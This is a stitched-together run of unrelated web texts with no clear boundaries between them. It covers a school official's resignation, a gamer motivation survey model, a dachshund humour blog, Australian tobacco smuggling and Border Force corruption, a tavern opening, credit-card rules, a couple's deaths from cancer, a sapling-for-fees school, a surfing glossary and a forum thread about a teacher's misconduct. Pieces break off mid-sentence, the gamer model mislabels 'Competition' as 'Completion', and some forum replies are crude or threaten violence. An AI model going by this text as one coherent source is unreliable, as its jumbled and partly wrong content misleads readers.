“The actual facts are that I exercised sound judgment at all times, led my team successfully, communicated continuously, and most importantly, put the safety of students first,” Wisniewska wrote.
According to the agreement, she’ll vacate her post immediately. She’ll be paid her current salary of $265,000 for 60 days. After that, she’ll be converted to faculty salary rate until May 1 when she will leave the school.The super short version: We generated an initial inventory based on a literature review of existing models, tested it with 1,127 gamers, validated it with another 600 gamers, and used factor analysis to identify 5 groups of motivations. If you’re a gamer and haven’t taken the Gamer Motivation Profile yet, consider doing so before reading about the model.
People play video games for different reasons. I love the logic puzzles in Professor Layton, but I wish there were a way to completely turn off the story. I love the depth and complexity in grand strategy games like Europa Universalis IV, but I’ll also happily grind my time away in casual games like Story of Seasons because I like the sense of constantly making progress. I liked soloing in World of Warcraft and leveling up, and would only grudgingly group up to get better gear from dungeon runs.
I think most gamers, from their own gameplay experiences and playing with others online, have some folk taxonomy of some of these gameplay preferences. And we have labels for some of these preferences: “griefers” or “min-maxers”. Over the past two decades, academic researchers and game developers have proposed many models and frameworks to codify these differences. From Bartle’s well-known Player Types to LeBlanc’s Aesthetics, from Lazzaro’s Fun Types to Sherry’s Gaming Uses & Gratifications, there is certainly no shortage of proposed models.
Academic researchers and game developers have proposed many models and frameworks to codify these differences.
Despite the large number of proposed models, there has been a relative lack of quantitative data backing up most of the proposed models. From a statistical point of view, the following issues have typically not been addressed quantitatively:
Some models have 3 factors, while others have more than a dozen. To the degree that gameplay motivations cluster together, how many core motivation factors are there?
How can we check whether some motivations actually cluster together or are entirely independent? Are Collaboration and Competition related? Are they part of the same motivation group or belong in different groups?
And how do we find a reliable way of measuring these motivations to build knowledge around them?
Our Approach
The existing models and frameworks provide a rich set of motivations to test. We first went through the proposed models and catalogued the individual motivations listed.
Then, based on the motivation definitions or existing survey scales, we brainstormed a few items for each of the motivations. For example, for Challenge we included items like: “take the time to practice and master a game” and “play the game at the highest difficulty level”.
We generated about 50 inventory items for a pilot survey and recruited a sample of 1,127 gamers (primarily MMO gamers) to go through the inventory. Following the pilot, we then also replicated the results with 600 gamers from a more representative gamer panel. The respondents were asked to rate how important the gameplay elements and activities were to them on a 5-point scale. To address the statistical issues of grouping and similarity, we applied a statistical method known as Exploratory Factor Analysis (EFA). An EFA identifies how variables cluster together (or not) into coherent groups, and also provides a way to use the analysis to create an assessment tool for those identified motivation clusters.
An Exploratory Factor Analysis identifies how variables cluster together (or not) into coherent groups.
Our Gamer Motivations Framework
We found 5 motivation groups with 11 underlying motivations. It’s important to note that these aren’t buckets; players don’t simply fall into one of the groups. Instead, players have a score for each of the motivations, and it’s this constellation that gives us the profile of individual gamers.
Action
Gamers with high Action scores are aggressive and like to jump in the fray and be surrounded by dramatic visuals and effects. Gamers with low Action scores prefer slower-paced games with calmer settings. Action is composed of two underlying motivations:
Destruction : The enjoyment of chaos, mayhem, guns, and explosives.
: The enjoyment of chaos, mayhem, guns, and explosives. Excitement: The enjoyment of games that are fast-paced, intense, and provide an adrenaline rush.
Strategy
Gamers with high Strategy scores like challenging gaming experiences with strategic depth and complexity. Gamers with low Strategy scores enjoy being spontaneous in games and prefer games that are accessible and forgiving when mistakes are made. Strategy is composed of two underlying motivations:
Mastery : The preference for games of skill and enjoyment of overcoming difficult challenges.
: The preference for games of skill and enjoyment of overcoming difficult challenges. Planning: The enjoyment of games that require careful decision-making and strategic thinking.
Achievement
Gamers with high Achievement scores are driven to accrue power, rare items, and collectibles, even if this means grinding for a while. Gamers with low Achievement scores have a relaxed attitude towards in-game achievements and don’t worry too much about their scores or progress in the game. Achievement is composed of two underlying motivations:
Completion : The desire to complete every mission, get every collectible, and discover hidden things.
: The desire to complete every mission, get every collectible, and discover hidden things. Power: The importance of becoming powerful within the context of the game world.
Social
Gamers with high Social scores enjoy interacting with other players, often regardless of whether they are collaborating or competing with them. Gamers with low Social scores prefer solo gaming experiences where they can be independent. Social is composed of two underlying motivations:
Completion : The enjoyment of competition with other players (duels or matches).
: The enjoyment of competition with other players (duels or matches). Community: The enjoyment of interacting and collaborating with other players.
Immersion
Gamers with high Immersion scores want games with interesting narratives, settings, and customization options so they can be deeply immersed in the alternate worlds created by games. Gamers with low Immersion scores are more grounded in the gameplay mechanics and care less about the narrative experiences that games offer. Immersion is composed of 3 underlying motivations:
Customization : The appeal of expression and deep customization.
: The appeal of expression and deep customization. Fantasy : The desire to become someone else, somewhere else.
: The desire to become someone else, somewhere else. Story: The importance of an elaborate storyline and interesting characters.
Some Observations & Next Steps
Several things stuck out in terms of how the motivations clustered together, and what didn’t cluster together:
Community + Competition: In the current data, we found that collaboration and competition clustered together to form a Social cluster. In an earlier model of motivations among MMO gamers, we found that Competition clustered instead with Achievement. We think this is because the earlier model drew heavily from Bartle’s Player Types and the MUD-era of domination-oriented competition (i.e., PvP) is biased towards power-based Achievement, whereas the more contemporary team-based competition (rare in many older MMOs) is biased towards Social.
Exploration: We didn’t find a specific Exploration cluster of motivations. Instead, items we tested related to Exploration loaded moderately on other motivations. Thus, geographical exploration loaded onto Fantasy (being somewhere else), while mechanics exploration loaded moderately onto Mastery. We plan to keep tinkering and testing items in this space.
Diversion / Escapism: We included items for Diversion (using games to avoid boredom and pass time) as well as Escapism (using games to avoid thinking about stress and problems), and these came out as a separate group, but when assembling the framework, we felt these factors were different beasts from everything else. They were reasons for seeking out entertainment, but not specific reasons for playing video games per se. We recognize that these are meaningful psychological variables, but for the time being we’re choosing to exclude them from the motivations framework.
Next Steps: We plan to continually refine the model and test potential additions with the ongoing surveys. We’re testing different items for Exploration to see if anything coherent emerges. We may try to see if Community should be expanded into Interaction and Collaboration. And under Achievement, we’ll test to see if there’s a Progress motivation separate from the Completion motivation.
Read the companion article on how we created the Gamer Motivation Profile tool, and the reactions of gamers and lessons learned from the beta test. Or go take the Gamer Motivation Profile.Recently my producer came to me and said, “Crusoe, we need to see more butts”.
At first I thought he was playing a prank on me, but then he continued, “seriously, the numbers don’t lie. Fans go crazy for your butt. Oakley’s too. So in your next post we need to see more of those hunky haunches”.
“With pleasure!” I told him.
So fans, hope you’re happy – this post features lots of cute butts. Couple that with the fact that Oakley and I are back as the Dachshund Fire Brigade, and we’ve got a surefire winner with the ladies!
But let’s start at the beginning.
It was only by a last-minute decision that my brother Oakley decided to head up to my chalet for another quick weekend with me. Perhaps he wanted his redemption for his earlier fire drill mishap where he crashes into the cupboard.
So anyway, we decided to try again – the scenario this time being a barbecue fire drill.
Here was our first run through…
As you can see, Oakley didn’t quite make the turn out of the bedroom, but did employ a nice and quick 3-point-turn recovery. Then at the sliding door we had a little miss-communication as to “who should go first”.
We discussed this during the review meeting afterwards, wherein I told him that the firefighter (myself) should always be first to arrive on scene, followed by the firetruck.
So with that understanding, we tried again…
A bit closer! But not quite!
You have to admire Oakley’s turn around the bed though – with a nice little drift into the wall – just enough to bounce him back onto track. From there he makes it all the way to the sliding door, but just miscalculates the width of his truck to the opening.
Oh well, at least we’re getting better, step by step! And at least we could decide who goes out the door first!
[As my fan Pam Gray said on Facebook, “Oakley’s insurance rates must be through the roof with kind of driving…”]
It was then that I told Oakley we should pose for a quick glamour shot for my next calendar! Because who doesn’t love sexy wiener dog firefighters in their calendar?
I’m sure this photo alone will make it sell off the shelf!
After all that excitement, we needed to wind down and relax a bit, so I suggested to Oakley we take a nice boat ride into town where we can stop at the beach and then go get some ice cream.
He was of course ‘on board’ with that!
But before we boarded, I had to hear it once – you know what I’m talking about…
“Permission to come aboard, oh great and handsome Fleet Admiral?”
Why yes, please do! ; )
I’ve been so happy about my latest promotion to Fleet Admiral that I even waited on the pier 30 minutes early before our departure time just to show off my new shoulder boards!
That’s a stunning figure of a dachshund if I ever saw one!
But once we cast off, I (reluctantly) passed the wheel temporarily over to Dad so Oakley and I could get a bit more comfortable.
From Navy uniform to board shorts…
…That’s why they call me a dog of many talents.
So with our ears in the wind and noses to the sea, we were constantly on the lookout for the beach and any babes that may be floundering and in need of rescuing.
We didn’t find any of the latter, but we did eventually find the beach.
You would think that chicks would be flocking around us like a bunch of seagulls around someone’s lunch, but we only seemed to draw attention from onlookers, who appeared to find something funny about our appearance…
“Oakley, are you not flexing?!” I asked, suddenly considering this as the issue.
“Always bro, just like you taught me!” Oakley quickly responded in his macho voice – although he didn’t look it. However, I do have to commend him, as he has been shaping up a bit since our last encounter now that he’s on a diet.
“There’s no chicks here”, he said. “Let’s go get some ice cream!”
“What about your diet?!”
“Who needs a diet when there’s no ladies around?”
“Fine”, I said. “But you have to come with me on a good walk expedition |
asses tobacco market – involving sweetened tobacco leaves known as "sheesha" for vapourising in hookah pipes – is tainted by smuggling and other crime. Where there's smoke: sheesha, smoked in hookah pipes and freely available, is almost all illegally imported. Credit:Getty Images
Despite being sold freely in Middle Eastern grocers and bars, almost none of the molasses tobacco has been imported lawfully, they suggest. Last year, a report by KPMG estimated about 14 per cent of tobacco consumed in Australia came via the black market, representing $1.4 billion in forgone tax receipts. Scrapping the Customs Reform Board will lead to increased corruption, former NSW Police commissioner Ken Moroney says. Credit:Daniel Munoz One underworld source confirmed to Fairfax Media that he has "friends" inside the Border Force – which was created in July 2015 when Customs merged with the Immigration Department – to help move tobacco-filled containers past border security controls. Another Sydney crime figure maintains a close and long-standing relationship with one of a small cell of NSW Border Force officials.
Terrorism fears: Security expert Neil Fergus. Credit:Andrew Quilty Some of the Middle East traffickers implicated in the scandal are suspected by law enforcement agencies to harbour strong sympathies for Hezbollah, the militant Lebanese organisation proscribed as a terrorist group by Western nations but supported by some in Sydney's Lebanese Shiite community. The revelations come as the federal government's small police corruption watchdog, the Australian Commission for Law Enforcement Integrity (ACLEI), deals with more border security corruption than at any time in its 10-year history, prompting calls for its resources to be dramatically increased, or for a national anti-corruption commission to be formed. Australian Border Force Credit:Andrew Meares The current watchdog is dealing with corruption allegations not only in the Border Force but other policing agencies employing officials suspected to have organised crime links.
The decision last month by federal and NSW officials to shut down the Polaris police waterfront taskforce, which was dedicated to fighting border crime corruption, has also been described by law enforcement officials as a loss for the nation's border security. Former NSW police commissioner Ken Moroney has entered the debate, criticising the Coalition government's decision to scrap the Customs Reform Board, which was formed by the Gillard government in early 2013 to oversee the fight against border security corruption. Mr Moroney, who was a board director alongside former royal commissioner and judge James Wood, said there was "much more to be achieved" by the board before the then immigration minister, Scott Morrison, dissolved it. "The ultimate cost must be an escalation or increase in corrupt activity," Mr Moroney said of the decision.
In the past two years, investigations into drug and tobacco trafficking by members of state and federal agencies have all identified serving Border Force officials involved in alleged corrupt conduct. Sources say the problem is potentially worse than the Sydney Airport customs scandal in late 2012 and 2013, which involved officers importing drugs. Previous nepotistic recruitment practices and poor or non-existent corruption controls in customs and immigration have, according to policing agencies, made the Border Force vulnerable to infiltration by organised criminals. Immigration Department chief Michael Pezzullo, backed by Border Force Commissioner Roman Quaedvlieg, has spent two years pushing ambitious integrity reforms throughout the force, referring any corruption claims to border security corruption watchdog the ACLEI. But senior security sources told the joint Fairfax Media/ABC 7.30 investigation that the ACLEI is unable to effectively do its job without the help of the Australian Federal Police, and has no full-time presence outside Canberra and Sydney. The ACLEI recently requested the the Border Force help fund its operations. Mr Moroney said this "poses some very serious questions about how adequately the agency is doing its job. Doubtless it is very committed but … you've got to have the resources, physical human and financial, to do your job effectively."
Government sources insisted ACLEI was small but highly effective, having worked with the federal police to make multiple arrests and drive major reforms inside the Border Force. On Monday, Fairfax revealed Mr Pezzullo had referred 132 corruption allegations involving immigration officials to the ACLEI in the past 12 months – the largest number of corruption case referrals in the resource-strapped watchdog's history. Many of the allegations are untested and some are likely to be dismissed, a departmental spokesman said. Meanwhile, a leading security expert appointed by the Howard government to review port security, Neil Fergus, said he was "perplexed" that successive governments had not acted on a key recommendation of a 2005 government inquiry aimed at preventing criminal infiltration of Australia's borders. He fears loopholes used by criminals could be exploited by terrorists. Mr Fergus recommended that in extreme cases, criminal intelligence be used to ban suspected organised crime figures, subject to an appeal process, from working in sensitive positions at Australian ports. "The fact is we will have more cases of illicit behaviour at the ports and more [illegal] imports the longer we maintain the system as it is and not put the appropriate effort into toughening it up," Mr Fergus said."This last week I couldn’t eat, couldn’t sleep. I've been so excited," says David Hridel, sounding a bit like an expecting father. "I just signed the lease an hour ago and finally have the key."
Hridel is talking about the historic Bridgeview Café, the squat green-roofed building on Lorain, just a couple blocks east of the West Side Market. The funky building has been squarely in the sights of many an entrepreneur, but until now, it's been an elusive prey.
"It's literally one of my favorite buildings," says Hridel, for years a fixture in the Cleveland bar and dining scene. "I've been trying to track down the owner for years."
Hridel, most recently GM with the restaurant group behind ABC, XYZ and Viaduct Lounge, says that he is shooting for a June 2 opening of the Bridgeview Tavern and Co. When renovations are complete, the 2,600-square-feet building with attached garage should seat approximately 90 in the bar and dining room.
"It's bigger than it looks from the outside," he notes.
Changes to the building will be kept to a minimum, easy to do when the space comes with a 32-foot tigerwood bar. Hridel's wife, a historic preservationist, uncovered some interesting facts on the property, which dates back well before the Prohibition. The last time the building actually served customers likely was in the early 1990s.
While a chef has yet to be named, the concept is being billed as a "gastro-tavern," with made-from-scratch small plates. Imbibers will see 25 taps and an eclectic spirits program. Plans are to open for dinner only and later add weekend brunch. Down the road, a back patio and possibly rooftop bar will be added as well.
Erica Coffee, another former ABC, XYZ staffer, will join Bridgeview as GM.Elizabeth Hester and Ari Levy
Bloomberg
December 18, 2008
Credit-card companies, facing an increase in defaults and a decline in consumer spending, are raising some rates, adding fees and cutting credit lines as the Federal Reserve is poised to make the most sweeping changes to the industry in 30 years.
A d v e r t i s e m e n t
The provisions, to be approved by the Fed today and take effect in July 1, 2010, may curtail lenders’ ability to raise interest rates on current balances, require they apply payments to charges with higher interest rates first and extend the time customers have to pay bills before incurring late fees. The Office of Thrift Supervision, which regulates savings and loans, approved the rules today.
The new rules come on the heels of a $700 billion federal bailout of the financial system, including $125 billion invested in the nine largest U.S. banks. Recent moves by JPMorgan Chase & Co., Citigroup Inc. and other firms to add charges and decrease the amount of money cardholders can borrow at the same time they’re taking taxpayer dollars have angered some customers.
“People are totally confused,” said Mark Zandi, chief economist at Moody’s Corp.’s Economy.com. “The taxpayer is essentially a big owner in JPMorgan, Bank of America and Citigroup, and these are the folks who make credit-card loans. Many are asking, ‘So why is it that my credit-card loan got pulled? Why am I being charged a higher rate?’”
Read articleMedia playback is unsupported on your device Media caption The image shows Mike Bennet, 57, and wife Julie, 50, from Irby in Wirral, holding hands in hospital
A six-figure sum has been raised for the children of a couple who died of cancer within days of each other.
The three children released an image of their terminally ill parents' last moments together as they held hands in a Merseyside hospital.
The image of Mike Bennet, 57, and wife Julie, 50, from Wirral, was shared by Oliver, 13, Hannah, 18, and Luke, 21.
By 16:30 GMT on Monday, more than £150,000 had been raised for the three siblings.
Image copyright Bennet family Image caption The couple's three children, pictured here when Oliver was a baby, are being supported by their aunts and uncles
Family friend Heather Heaton Gallagher said the amount of money raised had "blown everyone's socks away".
'Chemo isn't working'
She said: "The kids are astounded, they couldn't believe it.
"They are seeing all this support coming from across the world and it's inspirational to them."
Ms Gallagher said the children were being supported by their aunts and uncles and the money would be used to help them through college and university.
Image copyright Bennet family Image caption A friend said the couple were "very loving, very solid together and entwined"
She said their parents had been "besotted" with each other.
She added they "were just so in love" and "always made time for everyone".
"About three weeks ago I met Julie and she said 'that's it, the chemo isn't working' and that was very hard to hear."
The pair were admitted to Arrowe Park Hospital two weeks ago, where Mr Bennet died on 6 February.
Mrs Bennet, a primary school teacher at Sommerville School, was then moved to St John's Hospice and died on Saturday.
Image copyright Bennet family Image caption Julie and Mike Bennet and their three children, Oliver, Hannah, and Luke
She was diagnosed in May last year with cancer which began in the liver and kidneys and then spread to other organs.
Her husband, a self-employed cabinet maker, had been fighting a brain tumour since 2013 and had been nursed at home by Mrs Bennet and the children until his wife became too ill to care for him.In a unique initiative, a school in Chhattisgarh’s Ambikarpur area is providing primary education to students on a meagre payment of planting a tree sapling as fee.
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The facility has been provided to parents of students who cannot afford to pay school fees.
At least 35 students, aged four to five are studying in Shiksha Kuteer.
An initiative of a group of local professionals and businessmen, the school requires the students’ guardians to plant a sapling each and personally care for it.
The school has received an overwhelming response from the villagers who are glad that their children are getting quality English medium education.
“Shiksha Kuteer has opened in the village for students who are poor and have no money to pay fees. Students are being taught in English medium. They are being taught till a certain standard and their guardians have been asked to plant saplings instead of paying fees,” said a villager, Sevak Das.
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In case a plant dies, the parents are required to plant another one in its place. At least 700 saplings have been planted across the village over the last year.This glossary of surfing includes some of the extensive vocabulary used to describe various aspects of the sport of surfing as described in literature on the subject.[1][2] In some cases terms have spread to a wider cultural use. These terms were originally coined by people who were directly involved in the sport of surfing.
About the water [ edit ]
Barrel : The effect when a big wave rolls over, enclosing a temporary horizontal tunnel of air with the surfer inside
: The effect when a big wave rolls over, enclosing a temporary horizontal tunnel of air with the surfer inside Beach break : An area where waves that are good enough to surf break just off a beach, or on a sandbar farther out
: An area where waves that are good enough to surf break just off a beach, or on a sandbar farther out Blown out : When waves that would otherwise be good have been rendered too choppy by wind
: When waves that would otherwise be good have been rendered too choppy by wind Bomb : An exceptionally large set wave
: An exceptionally large set wave Choppy, chop : Waves that are subjected to cross winds have a rough surface (chop) and do not break cleanly
: Waves that are subjected to cross winds have a rough surface (chop) and do not break cleanly Close-out : A wave is said to be "closed-out" when it breaks at every position along the face at once, and therefore cannot be surfed
: A wave is said to be "closed-out" when it breaks at every position along the face at once, and therefore cannot be surfed Face : The forward-facing surface of a breaking wave
: The forward-facing surface of a breaking wave Flat : No waves
: No waves Glassy : When the waves (and general surface of the water) are extremely smooth and glossy, not disturbed by wind
: When the waves (and general surface of the water) are extremely smooth and glossy, not disturbed by wind Gnarly : Large, difficult, and dangerous (usually applied to waves)
: Large, difficult, and dangerous (usually applied to waves) Line-up : The area where most of the waves are starting to break and where most surfers are positioned in order to catch a wave [3]
: The area where most of the waves are starting to break and where most surfers are positioned in order to catch a wave Off the hook : A positive phrase meaning the waves are a very good size and shape
: A positive phrase meaning the waves are a very good size and shape Outside : The part of the water's surface that is farther from the shore than the area where most waves are breaking
: The part of the water's surface that is farther from the shore than the area where most waves are breaking Point break : Area where an underwater rocky point creates waves that are suitable for surfing
: Area where an underwater rocky point creates waves that are suitable for surfing Sections : The parts of a breaking wave that are rideable
: The parts of a breaking wave that are rideable Set waves : A group of waves of larger size within a swell
: A group of waves of larger size within a swell Shoulder : The unbroken part of the wave
: The unbroken part of the wave Shorey/shore break : A wave that lasts all the way to the shore before crashing
: A wave that lasts all the way to the shore before crashing Surf's up : A phrase used when there are waves worth surfing
: A phrase used when there are waves worth surfing Swell : A series of waves that have traveled from their source in a distant storm, and that will start to break once the swell reaches shallow enough water
: A series of waves that have traveled from their source in a distant storm, and that will start to break once the swell reaches shallow enough water Whitewater: As a wave breaks, it continues on as a ridge of turbulence and foam called "whitewater."
Techniques and maneuvers [ edit ]
Air/Aerial : Riding the board briefly into the air above the wave, landing back upon the wave, and continuing to ride [3]
: Riding the board briefly into the air above the wave, landing back upon the wave, and continuing to ride Bail : To step off of the board in order to avoid being knocked off (a wipe out)
: To step off of the board in order to avoid being knocked off (a wipe out) Bottom turn : The first turn at the bottom of the wave
: The first turn at the bottom of the wave Carve : Turns (often accentuated)
: Turns (often accentuated) Caught inside : When a surfer is paddling out and cannot get past the breaking surf to the safer part of the ocean (the outside) in order to find a wave to ride [3]
: When a surfer is paddling out and cannot get past the breaking surf to the safer part of the ocean (the outside) in order to find a wave to ride Cross step : Crossing one leg over the other across the board (usually to make it to the nose)
: Crossing one leg over the other across the board (usually to make it to the nose) Cutback : A turn cutting back toward the breaking part of the wave
: A turn cutting back toward the breaking part of the wave Drop in : Dropping into (engaging) the wave, most often as part of standing up
: Dropping into (engaging) the wave, most often as part of standing up "To drop in on someone": To take off on a wave that is already being ridden. Not a legitimate technique or maneuver. It is a serious breach of surfing etiquette.
Duck dive : Pushing the board underwater, nose first, and diving under an oncoming wave instead of riding it
: Pushing the board underwater, nose first, and diving under an oncoming wave instead of riding it Fade : On take-off, aiming toward the breaking part of the wave, before turning sharply and surfing in the direction the wave is breaking
: On take-off, aiming toward the breaking part of the wave, before turning sharply and surfing in the direction the wave is breaking Fins-free snap (or "fins out") : A sharp turn where the surfboard's fins slide off the top of the wave
: A sharp turn where the surfboard's fins slide off the top of the wave Floater : Riding up on the top of the breaking part of the wave, and coming down with it
: Riding up on the top of the breaking part of the wave, and coming down with it Goofy foot : Surfing with the left foot on the back of board (less common than regular foot)
: Surfing with the left foot on the back of board (less common than regular foot) Hang Heels : Facing backwards and putting the surfers' heels out over the edge of a longboard
: Facing backwards and putting the surfers' heels out over the edge of a longboard Hang-five/hang ten : Putting five or ten toes respectively over the nose of a longboard
: Putting five or ten toes respectively over the nose of a longboard Off the Top : A turn on the top of a wave, either sharp or carving
: A turn on the top of a wave, either sharp or carving Pearl : Accidentally driving the nose of the board underwater, generally ending the ride
: Accidentally driving the nose of the board underwater, generally ending the ride Pop-up : Going from lying on the board to standing, all in one jump
: Going from lying on the board to standing, all in one jump Pump : An up/down carving movement that generates speed along a wave
: An up/down carving movement that generates speed along a wave Re-entry : Hitting the lip vertically and re-reentering the wave in quick succession.
: Hitting the lip vertically and re-reentering the wave in quick succession. Regular/Natural foot : Surfing with the right foot on the back of the board
: Surfing with the right foot on the back of the board Rolling, Turtle Roll : Flipping a longboard up-side-down, nose first and pulling through a breaking or broken wave when paddling out to the line-up (a turtle roll is an alternative to a duck dive)
: Flipping a longboard up-side-down, nose first and pulling through a breaking or broken wave when paddling out to the line-up (a turtle roll is an alternative to a duck dive) Smack the Lip / Hit the Lip : After performing a bottom turn, moving upwards to hit the peak of the wave, or area above the face of the wave.
: After performing a bottom turn, moving upwards to hit the peak of the wave, or area above the face of the wave. Snaking, drop in on, cut off, or "burn" : When a surfer who doesn't have the right of way steals a wave from another surfer by taking off in front of someone who is closer to the peak (this is considered inappropriate)
: When a surfer who doesn't have the right of way steals a wave from another surfer by taking off in front of someone who is closer to the peak (this is considered inappropriate) Snaking/Back-Paddling : Stealing a wave from another surfer by paddling around the person's back to get into the best position
: Stealing a wave from another surfer by paddling around the person's back to get into the best position Snap : A quick, sharp turn off the top of a wave
: A quick, sharp turn off the top of a wave Soul arch : Arching the back to demonstrate casual confidence when riding a wave
: Arching the back to demonstrate casual confidence when riding a wave Stall : Slowing down by shifting weight to the tail of the board or putting a hand in the water. Often used to stay in the tube during a tube ride
: Slowing down by shifting weight to the tail of the board or putting a hand in the water. Often used to stay in the tube during a tube ride Side-slip : travelling down a wave sideways to the direction of the board
: travelling down a wave sideways to the direction of the board Switch-foot : Having equal ability to surf regular foot or goofy foot (i.e. left foot forward or right foot forward), like being ambidextrous
: Having equal ability to surf regular foot or goofy foot (i.e. left foot forward or right foot forward), like being ambidextrous Take-off : The start of a ride
: The start of a ride Tandem surfing : Two people riding one board. Usually the smaller person is balanced above (often held up above) the other person
: Two people riding one board. Usually the smaller person is balanced above (often held up above) the other person Tube riding/Getting barreled: Riding inside the hollow curl of a wave
Accidental [ edit ]
Over the falls : When a surfer falls off the board and the wave sucks him or her up in a circular motion along with the lip of the wave. Also referred to as the "wash cycle", being "pitched over" and being "sucked over"
: When a surfer falls off the board and the wave sucks him or her up in a circular motion along with the lip of the wave. Also referred to as the "wash cycle", being "pitched over" and being "sucked over" Wipe out : Falling off, or being knocked off, the surfboard when riding a wave
: Falling off, or being knocked off, the surfboard when riding a wave Rag dolled : When underwater, the power of the wave can shake the surfer around as if he/she were a rag doll
: When underwater, the power of the wave can shake the surfer around as if he/she were a rag doll Tombstone: When surfer is held underwater and tries to climb up their leash the board is straight up and down.
About people [ edit ]
Dilla : A surfer who is low maintenance, without concern, worry or fuss, One who is confidently secure in being different or unique
: A surfer who is low maintenance, without concern, worry or fuss, One who is confidently secure in being different or unique Grom/Grommet : A young surfer [3]
: A young surfer Hang loose : Generally means “chill,” “relax” or “be laid back". This message can be sent by raising a hand with the thumb and pinkie fingers up while the index, middle and ring fingers remain folded over the palm, then twisting the wrist back and forth as if waving goodbye, see shaka sign
: Generally means “chill,” “relax” or “be laid back". This message can be sent by raising a hand with the thumb and pinkie fingers up while the index, middle and ring fingers remain folded over the palm, then twisting the wrist back and forth as if waving goodbye, see shaka sign Hodad : A nonsurfer who pretends to surf and frequents beaches with good surfing [4]
: A nonsurfer who pretends to surf and frequents beaches with good surfing Kook: A wanna-be surfer of limited skill
About the board [ edit ]
Further information on surfboards: Surfboard
Blank : The block from which a surfboard is created
: The block from which a surfboard is created Deck : The upper surface of the board
: The upper surface of the board Ding : A dent or hole in the surface of the board resulting from accidental damage
: A dent or hole in the surface of the board resulting from accidental damage Fin or Fins : Fin-shaped inserts on the underside of the back of the board that enable the board to be steered
: Fin-shaped inserts on the underside of the back of the board that enable the board to be steered Leash : A cord that is attached to the back of the board, the other end of which wraps around the surfer's ankle
: A cord that is attached to the back of the board, the other end of which wraps around the surfer's ankle Nose : The forward tip of the board
: The forward tip of the board Quiver : A surfer's collection of boards for different kinds of waves
: A surfer's collection of boards for different kinds of waves Rails : The side edges of the surfboard
: The side edges of the surfboard Rocker : How concave the surface of the board is from nose to tail
: How concave the surface of the board is from nose to tail Stringer : The line of wood that runs down the center of a board to hold its rigidity and add strength
: The line of wood that runs down the center of a board to hold its rigidity and add strength Tail : The back end of the board
: The back end of the board Wax: Specially formulated surf wax that is applied to upper surface of the board to increase the friction so the surfer's feet do not slip off of the board
Clothing [ edit ]
Board shorts ; Also known as Baggies.
; Also known as Baggies. Pendleton jacket ; Popularized by the Beach Boys.
; Popularized by the Beach Boys. Rash guard
Wetsuit: Often referred to as "rubber", sometimes surfers also wear a neoprene hood and booties in cold conditions
See also [ edit ]
Notes [ edit ]Skip to comments.
10-year-old forced to lick teacher's toes
WorldNetDaily.com ^ | June 2, 2005 | WorldNetDaily
Posted on by 26lemoncharlie
No sexual gratification, so no criminal charges yet
-------------------------------------------------------------------------------- Posted: June 2, 2005 1:00 a.m. Eastern
© 2005 WorldNetDaily.com
A 10-year-old Atlanta-area boy was forced to kiss and lick his teacher's toes.
And though the teacher, Jody Kilpatrick of Temple Elementary School in Carroll County, has apologized for the incident, a preliminary investigation found no criminal intent since she apparently received no sexual gratification from the physical contact.
The child told investigators his classmates physically restrained him and forced him to kiss his teachers feet and the teacher went along with the abuse.
"Ms. Kilpatrick asked [my son], did he want to see her toes, and he was, like, okay, I'll look at your toes," explained Denise Strozier, the boy's mother. "So, a student that was his friend and another student took his hands and put them down, behind his back, and she stood there and allowed these children to push my son to the ground, and he licked her toes. And she gave him candy."
Later, the teacher, as well as one of the students, signed the child's yearbook, with messages openly joking about what happened that day.
Chief Deputy Brad Robinson told a local TV news crew that investigators have concluded, preliminarily, that the teacher's intent was not criminal because there is no evidence she sought to derive any sexual gratification, which he said is key to prosecutors seeking to prove wrongdoing in cases involving physical contact between teachers and children.
But Strozier wants the teacher fired.
"Outrage doesnt begin to describe how I feel right now," she said. "Its like a game to her. Its a joke to her."
Robinson believes Strozier's complaint is an issue for the school board to address rather than the sheriff's office.
The Carroll County school superintendents office is investigating, and declined to comment.
The Georgia Professional Standards Commission's code of ethics for teachers states "An educator should demonstrate conduct that follows generally recognized professional standards." Unethical conduct includes "committing any act of child abuse" and "encouraging an inappropriate physical relationship."
"I don't know what to say. I'm just literally dumb-founded that this has happened in my son's school," Strozier said.
The Carroll County district attorneys office will make the final decision on whether to indict the teacher later this month. The school board will decide whether to discipline her.
TOPICS:
Crime/Corruption
Culture/Society
News/Current Events
Philosophy
KEYWORDS:
childabuse
cnim
dickmorris
licking
ohbaby
teacher
toes
wth
To: 26lemoncharlie
Put her in jail. Throw away the key. Disgusting.
by 2 posted onby Dallas59 (" I have a great team that is going to beat George W. Bush" John Kerry -2004)
To: 26lemoncharlie
a preliminary investigation found no criminal intent since she apparently received no sexual gratification from the physical contact. Oh. Well, all right, then. Never mind.
To: 26lemoncharlie
"preliminary investigation found no criminal intent since she apparently received no sexual gratification from the physical contact."
And just HOW did they determine that?
Bet ya, she'll remian a "teacher" and this story will go away.
by 4 posted onby nmh (Intelligent people recognize Intelligent Design (God).)
To: Constitutionalist Conservative
One of us must have ESP ;)
My thoughts exactly.
by 5 posted onby nmh (Intelligent people recognize Intelligent Design (God).)
To: 26lemoncharlie
It was not right but it could have been worse. What does she look like?
by 6 posted onby Piquaboy (22 year veteran of the Army, Air Force and Navy, Pray for all our military.)
To: 26lemoncharlie
Well I guess Carroll County's no longer pointed out as kind of square.
To: 26lemoncharlie
The woman is sick in the head and doesn't understand her job. The discussion doesn't need to go much further than that.
To: 26lemoncharlie
I'm sorry, but I'd probably have to take this teacher out to the parking lot and beat the $hit out of her.
To: Piquaboy
Yeah, and are her feet pretty?
by 10 posted onby Skooz (If everyone knew everything about everyone, no one would have anything to do with anyone)
To: 26lemoncharlie
Wonder if she graduated from the Dick Morris school of toe sucking
by 11 posted onby shadeaud (Liberals suffer from acute interior cornial craniorectoitis)
To: 26lemoncharlie
Hammertoes! Nasty.
by 12 posted onby RushCrush (Never give in. Never, never, never, never! Never yield in any way great or small.)
To: Piquaboy
It was not right but it could have been worse. What does she look like?
LOL>>> WHY!??
by 13 posted onby 26lemoncharlie ('Cuntas haereses tu sola interemisti in universo mundo!')
To: 26lemoncharlie
not professional behavior.
she's the adult in charge.
by 14 posted onby ken21 (if you didn't see it on tv, then it didn't happen. /s)
To: 26lemoncharlie
It was not right but it could have been worse. What does she look like?
LOL Why?!
by 15 posted onby 26lemoncharlie ('Cuntas haereses tu sola interemisti in universo mundo!')
To: 26lemoncharlie
Dickie Morris says, "So what's the problem?"
To: 26lemoncharlie
To: 26lemoncharlie
Just wondering if she was a six packer or 12 packer. As a former Navy man I am surprised you question.
by 18 posted onby Piquaboy (22 year veteran of the Army, Air Force and Navy, Pray for all our military.)
